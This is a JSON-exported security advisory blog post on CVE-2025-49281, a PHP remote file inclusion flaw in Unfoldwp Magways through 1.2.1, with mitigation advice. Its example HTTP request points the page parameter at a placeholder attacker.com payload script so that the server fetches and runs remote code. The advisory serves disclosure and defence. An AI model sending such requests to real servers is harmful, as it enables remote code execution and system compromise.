{"id":54211,"date":"2025-06-23T04:22:48","date_gmt":"2025-06-23T04:22:48","guid":{"rendered":""},"modified":"2025-07-10T17:21:18","modified_gmt":"2025-07-10T23:21:18","slug":"cve-2025-49281-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-magways","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49281-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-magways\/","title":{"rendered":"<strong>CVE-2025-49281: Critical PHP Remote File Inclusion Vulnerability in Unfoldwp Magways<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical security flaw in Unfoldwp&#8217;s Magways software. The vulnerability, dubbed CVE-2025-49281, is a type of PHP Remote File Inclusion (RFI) vulnerability that allows for PHP Local File Inclusion (LFI). This type of vulnerability can have severe consequences, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5901-buffer-overflow-vulnerability-in-totolink-t10-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"60540\">potentially leading to a complete compromise of the affected system<\/a> or unauthorized access to sensitive data. It is particularly concerning because it affects all versions of the Magways software up to version 1.2.1, posing a significant risk to any organizations currently utilizing this software.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49281<br \/>\nSeverity: Critical (CVSS Score: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40912-critical-vulnerability-in-cryptx-for-perl-allows-potential-system-compromise\/\"  data-wpil-monitor-id=\"60773\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2818970579\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Unfoldwp Magways | Up to 1.2.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33053-a-critical-vulnerability-enabling-external-control-of-file-name-or-path-in-webdav\/\"  data-wpil-monitor-id=\"60820\">vulnerability is due to improper control<\/a> of the filename for &#8216;include&#8217; and &#8216;require&#8217; statements in PHP programs within the Magways software. This allows an attacker to include malicious scripts from remote servers, thereby executing <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4387-arbitrary-file-upload-vulnerability-in-abandoned-cart-pro-for-woocommerce-plugin\/\"  data-wpil-monitor-id=\"60626\">arbitrary PHP code on the server running the vulnerable<\/a> software. This could potentially lead to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42982-unauthorized-access-and-manipulation-in-sap-grc\/\"  data-wpil-monitor-id=\"60668\">unauthorized access<\/a>, data leakage, or even a complete system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3158039383\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following is a conceptual example of how the vulnerability might be exploited. An attacker could craft a request similar to the one below, where &#8220;malicious_payload.php&#8221; is a script hosted on the attacker&#8217;s server:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/attacker.com\/malicious_payload.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker is exploiting the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4954-critical-file-upload-vulnerability-in-axle-demo-importer-wordpress-plugin\/\"  data-wpil-monitor-id=\"60702\">vulnerability by replacing the expected local file<\/a> path with the URL of a malicious PHP script. When this request is processed by the server, the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6512-script-execution-with-admin-privileges-on-brain2-server\/\"  data-wpil-monitor-id=\"63483\">script is included and executed<\/a>.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The best course of action to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39486-rankie-sql-injection-vulnerability-and-mitigation-measures\/\"  data-wpil-monitor-id=\"63484\">mitigate this vulnerability<\/a> is to apply the patch provided by the vendor as soon as possible. However, if immediate patching is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These measures can help to block or alert on attempts to exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5310-remote-code-execution-vulnerability-in-dover-fueling-solutions-progauge-maglink-lx-consoles\/\"  data-wpil-monitor-id=\"65522\">vulnerability while a more permanent solution<\/a> is implemented.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical security flaw in Unfoldwp&#8217;s Magways software. The vulnerability, dubbed CVE-2025-49281, is a type of PHP Remote File Inclusion (RFI) vulnerability that allows for PHP Local File Inclusion (LFI). This type of vulnerability can have severe consequences, potentially leading to a complete compromise [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-54211","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/54211","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=54211"}],"version-history":[{"count":8,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/54211\/revisions"}],"predecessor-version":[{"id":58971,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/54211\/revisions\/58971"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=54211"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=54211"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=54211"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=54211"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=54211"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=54211"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=54211"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=54211"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=54211"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}